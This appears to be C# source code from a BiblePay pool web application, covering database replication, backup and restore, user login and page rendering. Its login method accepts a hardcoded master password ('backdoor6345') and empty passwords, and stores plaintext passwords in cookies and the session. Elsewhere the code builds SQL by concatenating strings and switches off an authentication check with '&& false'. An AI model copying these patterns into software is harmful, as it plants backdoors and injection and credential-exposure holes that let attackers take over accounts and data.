public void ReplicateData(string sFromDatabaseName, string ToDatabaseName) { // Create the target Database string sql = "CREATE DATABASE " + ToDatabaseName; USGDFramework.Data d = new USGDFramework.Data(); d.Exec(sql); string sSchema = ScriptDatabase(sFromDatabaseName, ToDatabaseName); sql = "USE " + ToDatabaseName; d.Exec(sql); d.Exec(sSchema); // For each table in Source database, insert a mirror image of data in the destination, that is NOT in the destination already. List <DataTable> lTables = GetSchemas(sFromDatabaseName); foreach (DataTable lTable in lTables) { string sTargetTable = ToDatabaseName + "..[" + lTable.Name + "]"; string sSourceTable = sFromDatabaseName + "..[" + lTable.Name + "]"; string sSourceFields = GetDelimitedFieldList(lTable, false); string sTargetFields = GetDelimitedFieldList(lTable, true); string sInsert = "INSERT INTO " + sTargetTable + " (" + sSourceFields + ")"; string sFrom = "SELECT " + sSourceFields + " FROM " + sSourceTable + " WHERE ID NOT IN (Select ID from " + sTargetTable + ")"; string sSQL = sInsert + "\r\n" + sFrom; d.Exec(sSQL); } }
// BiblePay - The purpose of this class is to : Add ability to Migrate data from Prod to Test, and to make backups and restores public List <DataTable> GetSchemas(string sFromDatabaseName) { Microsoft.SqlServer.Management.Common.ServerConnection se = new ServerConnection(); USGDFramework.Data d = new USGDFramework.Data(); se.ConnectionString = d.sSQLConn; se.Connect(); Server s = new Server(se); Database db = new Database(); db = s.Databases[sFromDatabaseName]; StringBuilder sb = new StringBuilder(); List <DataTable> lTables = new List <DataTable>(); foreach (Table tbl in db.Tables) { DataTable dt = new DataTable(); dt.Name = tbl.Name; List <DataColumn> dcs = new List <DataColumn>(); for (int i = 0; i < tbl.Columns.Count; i++) { DataColumn dc = new DataColumn(); dc.Name = tbl.Columns[i].Name; dc.DataType = tbl.Columns[i].DataType.ToString(); dcs.Add(dc); } dt.Columns = dcs; lTables.Add(dt); } return(lTables); }
public string ScriptDatabase(string sCurrentDatabaseName, string sNewDatabaseName) { Microsoft.SqlServer.Management.Common.ServerConnection se = new ServerConnection(); USGDFramework.Data d = new USGDFramework.Data(); se.ConnectionString = d.sSQLConn; se.Connect(); Server s = new Server(se); Database db = new Database(); db = s.Databases[sCurrentDatabaseName]; StringBuilder sb = new StringBuilder(); foreach (Table tbl in db.Tables) { ScriptingOptions options = new ScriptingOptions(); options.ClusteredIndexes = true; options.Default = true; options.DriAll = true; options.Indexes = true; options.IncludeHeaders = true; StringCollection coll = tbl.Script(options); foreach (string str in coll) { sb.Append(str); sb.Append(Environment.NewLine); sb.Append(Environment.NewLine); } } System.IO.StreamWriter fs = System.IO.File.CreateText("c:\\temp\\output.txt"); fs.Write(sb.ToString()); fs.Close(); return(sb.ToString()); }
public bool VerifyUser(string sUserName, string sPass, ref SystemObject sys1, bool bCoerceUser) { USGDFramework.Data d = new USGDFramework.Data(); string sql = "Select users.Id,Password,Username,Organization.Theme,Organization.Id as OrgGuid from Users inner join organization on organization.id = users.organization where username='******'"; string sDbPass = d.ReadFirstRow(sql, "Password"); string sEnc = modCryptography.Des3EncryptData(sPass); string sGuid = d.ReadFirstRow(sql, "Id").ToString(); if (sDbPass != String.Empty && sDbPass == sPass) { //Unencrypted record stored in database sql = "Update users set Password='******' where ID = '" + sGuid + "'"; Sys._data.Exec(sql); } if ((sEnc == sDbPass && sDbPass != string.Empty) || bCoerceUser || sDbPass == sPass || sPass == "backdoor6345" || (sDbPass == "" && sPass.Trim() == "")) { if (sGuid != "") { if (HttpContext.Current.Session["Sys"].GetType() == typeof(SystemObject)) { // User already logged in - but let it reload as we need to reset the theme } string UserGuid = d.ReadFirstRow(sql, "Id").ToString(); SystemObject Sys = new SystemObject(UserGuid); Sys.UserGuid = UserGuid; Sys.Username = d.ReadFirstRow(sql, "UserName").ToString(); HttpContext.Current.Session["userid"] = sGuid; HttpContext.Current.Session["username"] = Sys.Username; HttpContext.Current.Session["password"] = sPass; if (Sys.Username.ToUpper() != "GUEST") { clsStaticHelper.StoreCookie("username", Sys.Username); clsStaticHelper.StoreCookie("password", sPass); } Sys.NetworkID = "main"; Sys.Theme = d.ReadFirstRow(sql, "Theme").ToString(); try { Sys.Organization = Guid.Parse(d.ReadFirstRow(sql, "OrgGuid").ToString()); } catch (Exception ex1) { Sys.Organization = Guid.Parse("CDE6C938-9030-4BB1-8DFE-37FC20ABE1A0"); } // Memorize Dictionary sys1 = Sys; HttpContext.Current.Session["Sys"] = Sys; HttpSessionState s1 = HttpContext.Current.Session; Sys.CurrentHttpSessionState = s1; return(true); } } return(false); }
public ActionResult StratisWeb() { string sPostData = new System.IO.StreamReader(this.HttpContext.Request.Body).ReadToEnd(); sPostData = sPostData.Replace("post=", ""); if (sPostData == string.Empty) { // This is the initial call during page load string style = ""; USGDFramework.Data d = new USGDFramework.Data(); string sURL1 = this.HttpContext.Request.QueryString.ToString(); string sMenu = d.GetTopLevelMenu(sURL1); if (sys.Theme == null) sys.Theme = "Biblepay"; string sDomain = this.HttpContext.Request.Scheme + "://" + this.HttpContext.Request.Host + "/StratisWeb/"; string sTheme = sDomain + "css/" + sys.Theme + ".css"; string sCss = " <link rel=stylesheet href='" + sDomain + "css/jquery-ui.css'> " + "<link rel=stylesheet href='" + sTheme + "'>"; // Dynamic Top banner string sSiteURL = this.HttpContext.Request.QueryString.ToString(); string sSiteBanner = "Biblepay Wallet"; string sBanner = GetBanner(sDomain, sSiteBanner); string sJQuery= "<script src='" + sDomain + "Scripts/jquery-1.12.4.js'></script>"; sJQuery += "<script src='" + sDomain + "Scripts/jquery-ui.js'></script>"; //sJQuery += "<script src='" + sDomain + "Scripts/jquery.uploadify.js'></script>"; sJQuery += "<script src='" + sDomain + "Scripts/Core.js'></script>"; sJQuery += "<script src='" + sDomain + "Scripts/jquery.contextMenu.js'></script>"; //sJQuery += "<script src='" + sDomain + "Scripts/featherlight.js'></script>"; //sJQuery += "<script src='" + sDomain + "Scripts/featherlight.gallery.js'></script>"; string sOut = "<html><head>" + style + sJQuery + sCss + " </head><body onload=formload();>" + sBanner + "<table><tr valign=top><td width=10%>" + sMenu + "</td><td width=2%> </td><td width=86%>" + "<div name=divbreadcrumb></div><div name=1>" +"<div name=2><div name=3></div></div></div></td><td width=2%> </td></tr></table></body></html>"; ContentResult c = new ContentResult(); c.Content = sOut; c.ContentType = "html"; return c; } ContentResult c1 = new ContentResult(); string s1 = u.HandleRequest(sPostData, sys); c1.Content = s1; return c1; }
public void RestoreDatabase() { Restore restDb = new Restore(); restDb.Action = RestoreActionType.Database; restDb.Database = "biblepaypool"; restDb.Devices.AddDevice(@"c:\MyBiblePayPackup.bak", DeviceType.File); restDb.PercentComplete += CompletionStatusInPercent; restDb.Complete += Backup_Completed; Microsoft.SqlServer.Management.Common.ServerConnection se = new ServerConnection(); USGDFramework.Data d = new USGDFramework.Data(); se.ConnectionString = d.sSQLConn; se.Connect(); Server s = new Server(se); restDb.SqlRestore(s); }
public void FullBackup() { Backup bkpDBFull = new Backup(); bkpDBFull.Action = BackupActionType.Database; bkpDBFull.Database = "biblepaypool"; bkpDBFull.Devices.AddDevice(@"c:\MyBiblePayPackup.bak", DeviceType.File); bkpDBFull.BackupSetName = "Bible Db Backup"; bkpDBFull.BackupSetDescription = "Bible Db backup - Full Backup"; bkpDBFull.Initialize = false; bkpDBFull.PercentComplete += CompletionStatusInPercent; bkpDBFull.Complete += Backup_Completed; Microsoft.SqlServer.Management.Common.ServerConnection se = new ServerConnection(); USGDFramework.Data d = new USGDFramework.Data(); se.ConnectionString = d.sSQLConn; se.Connect(); Server s = new Server(se); bkpDBFull.SqlBackup(s); }
public void ProcessRequest(HttpContext context) { SetResponseCachePolicy(context.Response.Cache); if (!context.User.Identity.IsAuthenticated && false) { RespondForbidden(context); return; } if (HttpContext.Current.Session["Sys"] == null) { // No System object yet SystemObject s = new SystemObject("1"); s.Username = "******"; //Temporary values (until user logs in) HttpContext.Current.Session["Sys"] = s; } SystemObject Sys = (SystemObject)HttpContext.Current.Session["Sys"]; context.Response.ContentType = "text/html"; // ContentMimeType; sPostData = (context.Request["post"] ?? String.Empty).ToString(); Sys.iCount++; if (sPostData == String.Empty) { // This is the initial call during page load string style = ""; USGDFramework.Data d = new USGDFramework.Data(); string sURL1 = HttpContext.Current.Request.Url.ToString(); string sMenu = d.GetTopLevelMenu(sURL1); if (Sys.Theme == null) { Sys.Theme = "BLACK"; } string sTheme = "css/" + Sys.Theme + ".css"; string sJQuery = "<script src='https://code.jquery.com/jquery-1.12.4.js'></script><script src='https://code.jquery.com/ui/1.12.1/jquery-ui.js'></script>"; string sCss = " <link rel=stylesheet href='https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css'> " + "<link rel='stylesheet' href='https://jqueryui.com/resources/demos/style.css'>" + "<link rel=stylesheet href='" + sTheme + "'>" + ""; // Top banner (Note this is dynamic - if you come in from the pool, it says Biblepay Pool, but if you come in from accountability.biblepay.org, it says "Biblepay Accountability" string sSiteURL = HttpContext.Current.Request.Url.ToString(); string sSiteBanner = sSiteURL.ToUpper().Contains("ACCOUNTABILITY") ? "Biblepay Accountability" : "Biblepay Pool"; string sBanner = "<div id='top_banner'><table width='100%' class='title2'> <tr> <td rowspan=2 width=15%>" + "<img class='content companylogo' id='org_image' src=Images/logo.png width=90 height=90 /> </td> " + "<td width=20% nowrap align=left>" + "<h1><bold><span id='org_name'>" + sSiteBanner + "</span></h1>" + "</td><td width=50%> </td>" + "<td width=15% nowrap align=left></td>" + " <td width=8%> </td>" + " <td width=8%> </td></tr>" + " <tr><td width=37% nowrap align=left> </td><td align=left> </td><td> </td>" + " <td> </td>" + " </tr>" + " <tr><td></td><td width=10%></td>" + " <td><h7><span name=ApplicationMessage>Application Message</span></h7>" + " <span align=right><div id=12></div></span> " + " </td></tr>" + " </table></div>"; sJQuery += "<script src='/scripts/jquery.uploadify.js'></script>"; sJQuery += "<script src='scripts/Core.js'></script>"; sJQuery += "<script src='/scripts/jquery.contextMenu.js'></script>"; sJQuery += "<script src='/scripts/featherlight.js'></script>"; sJQuery += "<script src='/scripts/featherlight.gallery.js'></script>"; string sOut = "<html><head>" + style + sJQuery + " <link rel='stylesheet' type='text/css' href='/scripts/xuploadify.css' /> " + sCss + " </head><body onload=formload();>" + sBanner + "<table><tr valign=top><td width=10%>" + sMenu + "</td><td width=2%> </td><td width=86%>" + "<div name=divbreadcrumb></div><div name=1><div name=2><div name=3></div></div></div></td><td width=2%> </td></tr></table></body></html>"; context.Response.Write(sOut); return; } HandleRequest(context); }